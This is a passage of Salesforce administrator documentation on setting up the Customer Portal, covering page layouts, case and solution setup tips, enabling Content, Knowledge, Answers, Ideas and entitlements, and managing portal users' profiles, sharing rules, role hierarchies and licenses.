Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize
the following objects' page layouts for your portal:

Home
Tasks
Events
Cases
Assets
Accounts
Solutions
Contacts
Entitlements
Custom Objects
Service Contracts

1683

Customer Portal

Setting Up Your Customer Portal

Customizing Portal Page Layouts


To work with page layouts, go to Your Name > Setup > Customize, click the appropriate kind of record, and select Page
Layouts. For more information, see Managing Page Layouts on page 1276.
By default, Customer Portal users have Read permissions on accounts, contacts, assets, products and price books, so that
they can view their account name and choose a contact and asset for the cases they create on your portal. They may also have
Update or Create permissions for assets and accounts, depending on the type of customer portal. See Service Cloud Portal
User Licenses.
Note: Customer Portal users can't view the tags section of a page, even if it is included in a page layout. For more
information, see Tags Overview on page 376
To work with page layouts for custom objects, click Your Name > Setup > Create > Objects, select a custom object, and
choose a page layout from the Page Layouts section. For more information, see Building Page Layouts for Custom Objects
on page 1751.
To display a custom object in your Customer Portal, you must:

Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to
a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining
Custom Objects on page 1735.
Grant user permissions to the custom object on permission sets or profiles assigned to portal users. For more information,
see Overview of User Permissions and Access on page 555.
Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For
more information, see Customizing Your Customer Portal Tabs on page 1681.

See Also:
Customizing Your Customer Portal Fonts and Colors
Enabling Customer Portal Login and Settings
Designing Home Tab Page Layouts
Setup Tips and Considerations for Customer Portal Pages
Available in: Enterprise, Unlimited, and Developer Editions

Consider the following set up tips and general information about Salesforce Customer Portal pages.
Setting Up Cases

When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case
Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts
for portal users.
By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service
checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed.
Do not select the Show Case Email Notification and Show Case Email Notification by default
checkboxes on case page layouts. These features only apply to Salesforce users.
Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may
view comments intended only for Salesforce users.

1684

Customer Portal

Setting Up Your Customer Portal

Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related
to their account.
Include the Contact Name lookup field on case page layouts so that users with Edit permissions on that field can
change a case's contact to another portal user in the same account.
Do not select the Show solution information section, Show Contact Notification checkbox,
and Select Contact Notification checkbox by default checkboxes on close-case page layouts because
their functions only apply to Salesforce users.
Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer
Portal. For more information, see Creating Record Types on page 1269.
For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case
is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users,
add a rule entry using the criteria Current User: User Type contains Customer Portal and select
the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1306.
Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you
create record types for cases that contain separate picklist values for them. For more information, see Managing
Record Types on page 1268.
You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment
button from case page layouts:
1.
2.
3.
4.
5.

Edit a case page layout with the enhanced page layout editor.
Click Layout Properties.
Deselect Show Submit & Add Attachment Button.
Click OK.
Click Save.

Cases

Portal users need the Read permission on contacts to create cases.


Portal users cannot edit the value of the Status picklist field on cases.
Portal users can edit and delete attachments they have added to their cases, but portal users cannot edit and delete
attachments added to cases by Salesforce users.
The Delete and Sharing buttons on case detail pages are not available to portal users.
The Email Message List, Next, and Previous links are not available to Customer Portal users when they view emails
from the Email related list on case detail pages. The Email related list is only available in organizations where
Email-to-Case or On-Demand Email-to-Case is enabled.
Optionally, you can create case auto-response rules to automatically respond to portal users when they create a case
on your portal. For more information, see Setting Up Auto-Response Rules on page 1313.
Portal users can view, search, and create notes and attachments on cases.
When creating a case, a portal user bypasses the Suggested Solutions page and is directed to their case if:
No relevant suggested solutions match the case.
He or she creates the case by clicking Submit & Add Attachment.
Note that suggested solutions are only available in organizations where they are enabled. For more information on
suggested solutions, see What are Suggested Solutions? on page 3248. For more information about how Customer

1685

Customer Portal

Setting Up Your Customer Portal

Portal users can self-close their own cases from suggested solutions, see Enabling Customer Portal Login and Settings
on page 1671.

If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users
so that they can find articles that help them solve their cases. See Customizing Related Lists on page 1293.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list.
Portal users can download feed attachments, but can't preview, edit, or delete them.

Solutions

The Status picklist field on solutions is not available to portal users.


The Status picklist field on a solution does not need to be set to Reviewed for a solution to be visible in the Customer
Portal; a solution is visible in the Customer Portal if the Visible in Self-Service Portal checkbox is selected
on a solution.
If you enable solution categories for your organization, solution categories are also available in your Customer Portal.
Uncategorized solutions do not display in the solution categories of your Customer Portal, but they do display in
your portal's search and list views.
The top solutions feature is not available for your Customer Portal, but you can create links on your Customer Portal
home page to your organization's most relevant solutions.

Home Page

Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users. Each
Customer Portal user who logs in to your portal receives a welcome message with his or her name. The users can
also change their own portal username, password, locale, language, time zone, and contact information. When portal
users change information about themselves their user records are updated but their contact records arent automatically
updated with those changes. For more information about defining home page components and assigning home page
layouts, see Customizing Home Tab Page Layouts on page 1299.
Note that Customer Portal users who have the Is Single Sign-On Enabled permission cannot change their usernames
from the Customer Portal Welcome component. For more information on Single Sign-On, see Company Information
Fields on page 444.

When designing home page layouts for your Customer Portal, we recommend adding the following components:
Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area component that
includes your corporate branding in the wide column.
Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list
views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page
1300.
Custom component names do not display in the wide section of the home page in the Customer Portal.
You can position the logout link anywhere on the header by using the HTML tag: <a
href="/secur/logout.jsp">Logout</a>. For more information on the header, see Enabling Customer
Portal Login and Settings on page 1671.
We recommend not adding the following components to your Customer Portal home page layouts because they are
for Salesforce users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot, Messages
& Alerts, and Items To Approve.

1686

Customer Portal

Setting Up Your Customer Portal

Activities

Portal users cant be assigned to activities.


Portal users can view completed tasks and past events marked Visible in Self-Service that are associated
with objects they have permission to view.

Documents
Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to
portal users. For more information, see Managing Folders on page 1316.
Reports

Portal users can run reports if they have the Run Reports permission.
Portal users can export reports if they have the Export Reports permission.
The Report Options section does not display on report results for portal users because portal users cannot customize
report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does
not display on report results.
Report results for portal users only include links to objects the portal users have permission to access.
Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects,
such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal
users. For more information, see Setting Your Organization-Wide Sharing Defaults on page 625.
Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have
permission to view.
By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders,
update the sharing settings on report folders to the All Internal Users group. For more information, see Managing
Folders on page 1316.

Custom Objects

When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is
no longer available on the Customer Portal, and all of the permissions for the custom object are automatically removed
from portal profiles. If you select the Available for Customer Portal checkbox on a custom object again,
you must update the permissions for the custom object on portal profiles.
Note: If you configure custom object access at a later time, permission sets retain their configuration.

Portal users can view, search, and create notes and attachments on custom objects.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list.
Portal users can download feed attachments, but can't preview, edit, or delete them.

Articles
For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 3469.
Assets

Portal users can create, view, and update assets associated with their accounts.

1687

Customer Portal

Setting Up Your Customer Portal

Assets are only visible to portal users if you include the Assets lookup field on case page layouts. From case detail
pages, portal users can view an asset by clicking it in the Asset field.
Portal users can view and search attachments on assets.
If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list.
Portal users can download feed attachments, but can't preview, edit, or delete them.

Salesforce CRM Content

Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their library permission.
Portal users with the View Content on Portals user permission have view-only access to Salesforce CRM Content.
Portal users with the Create Libraries user permission can create and administer libraries.

For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1690.
Answers
For setup information, see Enabling Answers in the Customer Portal on page 1693. When customizing your portal fonts
and colors, note that answers only supports the following changes:

All tab styles


The following page styles:

Page Background
Text
Link
Link Hover

Ideas
For setup information, see Enabling Salesforce CRM Ideas in the Customer Portal on page 1694.
Accounts
Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail
page in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page
1712.
Contacts
Only users with delegated Customer Portal user administration rights can view their account's contacts. See Delegating
Customer Portal User Administration and Portal Super User on page 1712.
Only users with the Portal Super User permission can view the Contacts tab and edit and detail pages for contacts in
your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1712.
Entitlements

For set up information, see Enabling Entitlement Management in the Customer Portal on page 1695.
Add the Read permission on entitlements to custom portal profiles; assign the profiles to portal users who need
access to entitlements. See User Profiles Overview on page 521 and Configuring User Access to the Customer Portal
on page 1700.

1688

Customer Portal

Setting Up Your Customer Portal

Add the Entitlement Name lookup field to case page layouts so that portal users can add entitlements to cases.
See Customizing Page Layouts on page 1278.
Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't
access information related to your internal support processes: Entitlement Process Start Time, Entitlement
Process End Time, Stopped, and Stopped Since. See Case Fields on page 3197.
Optionally, add the Entitlements tab to your Customer Portal so that portal users can view entitlements associated
with their accounts and create cases from entitlements.
Add the Entitlements related list to account and contact page layouts so that delegated portal user administrators
can create cases automatically associated with the right entitlements. See Delegating Customer Portal User
Administration and Portal Super User on page 1712 and Customizing Page Layouts on page 1278.

Service Contracts

For set up information, see Enabling Entitlement Management in the Customer Portal on page 1695.
Grant the Read permission on service contracts to the portal users who need access to service contracts. See Overview
of User Permissions and Access on page 555 and Configuring User Access to the Customer Portal on page 1700.
Add the Service Contracts tab to your Customer Portal so that portal users can view the details of their service
contracts. See Customizing Your Customer Portal Tabs on page 1681.
Contract line items don't display in the Customer Portal.

Flows

You can include Force.com flows in your Customer Portal by embedding them in a Visualforce page. For more
information, see Adding a Flow to a Visualforce Page on page 1884.
Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see
an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the
subflow element must have an active version.
When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce page that
contains the embedded flow, not to the URL of the flow itself. Site and portal users dont have the privileges to run
flows directly.

See Also:
Customizing Your Customer Portal Pages
Overview of User Permissions and Access

1689

Customer Portal

Setting Up Your Customer Portal

Enabling Salesforce CRM Content in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

To create and edit profiles:

Manage Users

To manage Customer Portal users:

Edit Self-Service Users

To create Salesforce CRM Content library permissions:

Manage Salesforce CRM Content OR


Manage Content Permissions

To add users to a Salesforce CRM Content library:

Manage Salesforce CRM Content


OR
Manage Library checked in your library permission

definition

Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted
to Customer Portal users:

Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content
if they have the View Content on Portals user permission. They cannot view potentially sensitive data such as usernames
and download, version, and subscriber history. The content delivery feature is not available to portal users.
Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by
their library permission(s), including contributing content, moving and sharing content among libraries, and deleting
content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.

Enable Salesforce CRM Content for Non-Licensed Users


After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals.
Use these steps if you have not purchased Salesforce CRM Content feature licenses for your portal users.
1. Update Customer Portal profiles:
a.
b.
c.
d.

Clone the Customer Portal User or Customer Portal Manager profile.


In the cloned profiles, add the View Content in Portals user permission.
Change the tab visibility for the Libraries, Content, and Subscriptions tabs from Tab Hidden to Default On.
Assign the cloned profiles to your Customer Portal users.

2. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more
library permissions.
Note: A library permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce
CRM Content feature license to tag content.

1690

Customer Portal

Setting Up Your Customer Portal

3. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available
in these libraries.
4. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added
to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can
be added to a library individually.
5. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.

Enable Salesforce CRM Content for Licensed Users


After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals.
Use these steps if you have purchased Salesforce CRM Content feature licenses for your portal users
1. Update Customer Portal profiles:
a. Optionally, clone the Customer Portal User and Customer Portal Manager profile to include the Create Libraries
user permission if you want to allow portal users to create and administer new libraries.
b. In your standard or cloned Customer Portal profiles, change the tab visibility for the Libraries, Content, and Subscriptions
tabs from Tab Hidden to Default On.
c. Assign the cloned profiles to your Customer Portal users as needed.
2. Select the Salesforce CRM Content User checkbox on the user detail page for each Customer Portal user.
3. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more
library permissions.
Note: A library permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce
CRM Content feature license to tag content.
4. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available
in these libraries.
5. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added
to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can
be added to a library individually.
6. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Setting Up Your Customer Portal
Enabling Your Customer Portal
Salesforce CRM Content Overview

1691

Customer Portal

Setting Up Your Customer Portal

Enabling Salesforce Knowledge in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

To create and edit profiles:

Manage Users

To manage Customer Portal users:

Edit Self-Service Users

To view Salesforce Knowledge articles:

Read on the article's article type

You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can
view and rate articles but cannot create or edit articles.
After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following
steps to enable Salesforce Knowledge in your portals.
1. Update Customer Portal profiles:
a. Clone the Customer Portal User or Customer Portal Manager profiles and enable the Read permission for article
types you want to share with customers.
b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On.
2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile.
3. Assign the cloned profiles to your Customer Portal users:
a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User on
the contact detail page.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.
4. Add the Articles tab to each Customer Portal.
5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.
By default, Customer Portal users inherit their data category access from the account owner. For example, if the account
owner has a role of CEO and the CEO role has full access to all the data categories in a category group, then Customer
Portal users can also access all categories in that group. In some cases, you may want to limit which categories a Customer
Portal user can access.
6. If you have high-volume portal users, make the categories these users need to access visible by default. Because high-volume
portal users don't have roles, they can only access categorized articles if the associated data categories have been made
visible to all users regardless of role.
7. Notify users who create articles that they must select Customer Portal as a channel option when creating or modifying an
article. If the Customer Portal channel is not selected, the article will not be published in the portal.

1692

Customer Portal

Setting Up Your Customer Portal

8. To allow users to search for articles from the Home tab, add the Article Search component to the home page layout. Ensure
that you assign the layout to the Customer Portal profiles.

See Also:
Salesforce Knowledge Overview
Setting Up Salesforce Knowledge
Salesforce Knowledge Terminology

Enabling Answers in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

To create and edit profiles:

Manage Users

To create an answers community:

Customize Application

You can use the Customer Portal to provide your customers with access to an answers community.
To enable answers in your portal:
1. Set up your Customer Portal.
When customizing your portal fonts and colors, note that answers only supports the following changes:

All tab styles


The following page styles:

Page Background
Text
Link
Link Hover

2. Set up answers, making sure that your answers community is configured to display in the Customer Portal.
3. Add the Answers tab to your Customer Portal.
4. Create Customer Portal users:
a. On the contact detail page, click Work with Portal and then choose Enable Customer Portal User.
b. Enter the required information, making sure to select the correct Customer Portal profile from the Profile drop-down
menu.
c. Click Save.
5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change
the visibility settings for the Customer Portal user.

1693

Customer Portal

Setting Up Your Customer Portal

By default, Customer Portal users inherit their category access from the account owner. For example, if the account owner
has a role of CEO and the CEO role has full access to all the data categories in the category group assigned to answers,
then Customer Portal users can also access all categories in the answers community. In some cases, you may want to limit
which categories a Customer Portal user can access.
6. If you have high-volume portal users, make the data categories these users need to access visible by default. Because
high-volume portal users don't have roles, they can only access categorized questions if the associated data categories have
been made visible to all users regardless of role.
7. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1681.

See Also:
Answers Overview
What are Data Categories?

Enabling Salesforce CRM Ideas in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

To create and edit profiles:

Manage Users

To create a Salesforce CRM Ideas community:

Customize Application

Salesforce CRM Ideas is available in the Customer Portal.


After you have set up your Customer Portal, follow the steps below to enable Salesforce CRM Ideas in your portal.
1. Create a Salesforce CRM Ideas community that is active and configured to display in the portal. For more information,
see Creating and Editing Communities on page 1536.
2. Add the Salesforce CRM Ideas tab to your Customer Portal. For more information, see Customizing Your Customer
Portal Tabs on page 1681.
3. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise,
your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information
on hiding tabs, see Customizing Your Customer Portal Tabs on page 1681.

1694

Customer Portal

Setting Up Your Customer Portal

Enabling Entitlement Management in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To set up and update the Customer Portal:

"Customize Application"

To create and edit profiles:

"Manage Users"

To manage Customer Portal users:

"Edit Self-Service Users"

You can use the Customer Portal to provide your customers with access to their entitlements and service contracts. Contract
line items don't display in the Customer Portal.
After you have set up entitlement management and enabled a Customer Portal, complete the following steps to add entitlement
management to your portals.
1. Update Customer Portal profiles:
a. Clone Customer Portal profiles and enable the Read permission on entitlements or service contracts.
b. Optionally, on the profiles of delegated Customer Portal user administrators, enable the Create and Delete permissions
on entitlement contacts. This lets delegated portal user administrators update entitlement contacts.
c. In the cloned profiles, verify that the tab visibility for the Entitlements or Service Contracts tabs are Default On.
2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profiles.
3. Customize case page layouts to add the Entitlement Name lookup field. This lets portal users add entitlements to cases.
Tip: Don't add the following entitlement process fields to case page layouts for portal users because portal users
shouldn't access information related to your internal support processes: Entitlement Process Start Time,
Entitlement Process End Time, Stopped, and Stopped Since.
4. Optionally, customize related lists on accounts and contacts to add Entitlements. This lets delegated portal user administrators
create cases automatically associated with the right entitlements.
5. Add the Entitlements or Service Contract tabs to each Customer Portal.
6. Assign the cloned profiles to your Customer Portal users:
a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the
contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.

See Also:
Setting Up Your Customer Portal
Entitlement Management Overview

1695

Customer Portal

About Customer Portal User Management

Customer Portal Setup Limits


Available in: Enterprise, Unlimited, and Developer Editions

Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can
activate.
The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom
objects your Edition allows. See Salesforce Editions and Limits on page 2076.
Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact
salesforce.com.

See Also:
Setting Up Your Customer Portal

About Customer Portal User Management


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users:

Edit Self-Service Users

To manage profiles and permission sets:

Manage Users

To create, edit, and delete page layouts:

Customize Application

To set field-level security:

Customize Application

To set sharing rules:

Manage Users

Managing Customer Portal users is similar to managing regular Salesforce users. General user administration concepts like
profiles and page layouts still apply. Review the following advice for managing Customer Portal users:

Customer Portal Profiles


Customer Portal Sharing Rules
Customer Portal Role Hierarchy
Customer Portal User Licenses
Note: High-volume portal users (Service Cloud portal users) include both the High Volume Customer Portal and
Authenticated Website license types.

1696

Customer Portal

About Customer Portal User Management

Customer Portal Profiles


The profiles you assign to Customer Portal users define permissions for them to perform different functions within a Customer
Portal, such as whether they can view, create, edit, or delete cases and custom object records.
When you enable a Customer Portal, the following profiles are automatically created if you purchased user licenses for them:

High Volume Customer Portal


Authenticated Website
Customer Portal User
Customer Portal Manager

The settings on Customer Portal profiles are similar. However, you can grant users with the Customer Portal Manager profile
greater access to data via the Customer Portal role hierarchy and sharing rules (neither of which apply to high-volume portal
users). You can also clone and customize each profile to suit the various support requirements of specific customers. You can
also use permission sets to grant additional permissions and access settings to Customer Portal users.
Depending on the user licenses you purchased, you can configure Customer Portal profiles for custom object, Salesforce CRM
Content, reporting, and customer support functionality, such as cases and solutions.

Customer Portal Sharing Rules


After you enable a Customer Portal, the following groups and sharing rule category are created:
Groups and Sharing Rule
Category

Description

All Customer Portal Users


group

Contains all Customer Portal users, except for high-volume portal users.

All Internal Users group

Contains all Salesforce users in your organization.

Roles and Internal


Subordinates sharing rule
category

Lets you create sharing rules with specific Salesforce users in your organization by role plus
all of the users in roles below that role, excluding any Customer Portal and partner portal
roles.
Because high-volume portal users don't have roles, they aren't included in this or any other
sharing rule category.

You can use these groups and the sharing rule category to create sharing rules that:

Grant Customer Portal or Salesforce users access to specific data (except for high-volume portal users, because you can't
include them in any groups or sharing rules)
Link Customer Portal users and Salesforce users
Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license

Customer Portal Role Hierarchy


When you enable a Customer Portal on an account, the system creates a role hierarchy for the account's portal users. The
portal roles are unique for each account and include the account's name. For example, Account A Customer User. In your
organization's overall role hierarchy, this account-specific hierarchy is directly below the account owner.
The roles in a portal role hierarchy are fixed. You cannot customize them or add new ones. They are:

Executivefor contacts
Managerfor contacts
Userfor contacts

1697

Customer Portal

About Customer Portal User Management

Person Accountfor person accounts


Note: All users in a customer portal role (Executive, Manager, and User roles) have read access to all contacts under
their portal account even when the contact sharing model is private.

As you enable customers as Customer Portal users, the system automatically assigns roles based on the user license. Person
accounts always have the Person Account role. Contacts with the High Volume Customer Portal or Authenticated Website
license do not have a role.
If access to contacts are set to private, high-volume portal users only have access to their own contact and those they are granted
access to.
Role hierarchies ensure that portal users from different accounts never see each other's data. Even though high-volume portal
users aren't included in role hierarchies, they're restricted from seeing records that aren't associated with their account or
contact, and they can only see objects to which they've been granted access. You can, however, create sharing rules so that
users with the Customer Portal Manager license from different accounts can see each other's data.
Accounts with different portal typesCustomer Portal and partner portalhave a separate role hierarchy for each portal.
Role names include the portal type with which they are associated. For example, if Account A has both a Customer Portal
and a partner portal, then roles for the Customer Portal are named Account A Customer User and roles for the partner
portal are named Account A Partner User.
To view the roles assigned to your Customer Portal users, create a custom report, choose Administrative Reports, select Users
as the data type, and add Role to your report columns. Note that you can't report on roles for high-volume portal users because
they don't have roles. See Administrative Reports on page 3021.
Note: You cannot create a Customer Portal user associated with an account owned by a partner user.

Customer Portal User Licenses


A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are
available to the user.
You can assign the following user licenses to Customer Portal users:

High Volume Customer Portal


Authenticated Website
Customer Portal Manager Custom
Customer Portal Manager Standard (not available for new customers)

These user licenses determine the available Customer Portal profiles. They also determine users' positions in the Customer
Portal role hierarchy.
The following table shows the Customer Portal user licenses with their associated profiles and positions in the Customer
Portal role hierarchy.
User License

Profiles

High Volume Customer Portal


(Service Cloud Portal )

High Volume Customer Portal High-volume portal users don't have roles. See About
or Authenticated Website
High-Volume Portal Users (Service Cloud Portal Users)
profile, or a profile cloned and on page 1702.
customized from one of these.
Can't share but can transfer records they own.

and
Authenticated Website

Roles and Sharing

Can't transfer cases from non-high-volume portal users


to them.

1698

Customer Portal

User License
Both user licenses are
high-volume portal users
(Available to purchase)

About Customer Portal User Management

Profiles

Roles and Sharing


Can't include in:

Personal groups or public groups.


Sharing rules.
Account teams, sales teams, or case teams.
Salesforce CRM Content libraries.

Can access custom objects depending on profile settings.


Customer Portal Manager
Custom
(Available to purchase)

Customer Portal Manager


Can assign to either the Executive, Manager, or User role.
profile or a profile cloned and
Can view and edit data they directly own or data owned
customized from the Customer
by or shared with users below them in the Customer
Portal Manager profile.
Portal role hierarchy; and they can view and edit cases
where they are listed in the Contact Name field.
Can have data shared to them just like other Salesforce
users.
Can access custom objects depending on profile
settings.
Can access reports depending on profile settings.
Can access Salesforce CRM Content depending on
feature license and profile settings. See Enabling
Salesforce CRM Content in the Customer Portal on
page 1690.
Can receive the Portal Super User and Delegated
Portal User Administrator permissions.

Customer Portal Manager


Standard

Customer Portal User profile or Can only assign to either the Executive, Manager, or User
a profile cloned and customized role.
from the Customer Portal User
Can view and edit data they directly own or data owned
profile.
by or shared with users below them in the Customer
Portal role hierarchy; and they can view and edit cases
where they are listed in the Contact Name field.
Can have data shared to them just like other Salesforce
users.
Can access custom objects depending on profile
settings.
Can receive the Portal Super User permission.
Can access Salesforce CRM Content depending on
feature license and profile settings. See Enabling
Salesforce CRM Content in the Customer Portal on
page 1690.
Note: This license is not available for new
customers.

1699

Customer Portal

About Customer Portal User Management

Tip: For more information on license types, such as Content, Ideas, Answers, and Knowledge, see Understanding
User License Types on page 602.
Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which
you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple
roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the
same role.

See Also:
Working with Customer Portal Users
Setting Up Your Customer Portal
What is a Person Account?
Configuring Multilingual HTML Messages
Delegating Customer Portal User Administration and Portal Super User
Administrator setup guide: Salesforce Customer Portal Implementation Guide

Configuring User Access to the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Customer Portal:

Customize Application

To manage Customer Portal users:

Edit Self-Service Users

To create, edit, and delete profiles:

Manage Users

To set default sharing access:

Manage Users

To set sharing rules:

Manage Users

To enable Customer Portal users:

Edit Self-Service Users


OR
Manage Users

When setting up a Salesforce Customer Portal for the first time, configure the following before enabling users to access your
portal:
1. Set up your portal as described in Setting Up Your Customer Portal.
2. Assign Customer Portal profiles to a portal:
a. Select the name of a portal from the Customer Portal Setup page.
b. Click Edit Profiles in the Assigned Profiles section.
c. Select the Active checkbox next to the profile you want to assign to the portal.

1700

Customer Portal

About Customer Portal User Management

Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must
assign profiles to each portal you want users to access.
3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets,
and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see
Setting Your Organization-Wide Sharing Defaults on page 625.
Tip: To maintain Public organization-wide default behavior for Salesforce users, while ensuring that portal users
can only view and edit data related to their accounts, you can create self-referencing sharing rules of All Internal
Users to All Internal Users. For more information, see Sharing Rules Overview on page 637.
4. Optionally, set sharing rules for portal users (with the exception of high-volume portal users). This lets you share records
between portal users and Salesforce users or vice-versa. See Sharing Rules Overview on page 637.
Note: If your organization uses sharing rules that share to Roles, Internal and Portal Subordinates, then update
those sharing rules to share to Roles and Internal Subordinates instead. This is to help ensure that no records
owned by a Salesforce user are accidentally shared with a portal user.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a
specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and
Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this
wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by
all users except for portal users.
5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is
because portal users added to queues may be able to access records from accounts to which they are not related. For more
information, see Viewing and Editing Queues on page 598 and About Groups on page 589.
6. Optionally, add the Welcome component to home page layouts assigned to portal users.
The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips
and Considerations for Customer Portal Pages on page 1684.
7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings
on page 1671.

See Also:
About Customer Portal User Management
Configuring Multilingual HTML Messages
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
Working with Customer Portal Users

1701

Customer Portal

About Customer Portal User Management

About High-Volume Portal Users (Service Cloud Portal Users)


Available in: Enterprise, Unlimited, and Developer Editions

High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many
thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates
performance issues associated with role hierarchy calculations. High-volume portal users include both the High Volume
Customer Portal and Authenticated Website license types.
Characteristics
High-volume portal users:

Are contacts enabled to access a Customer Portal.


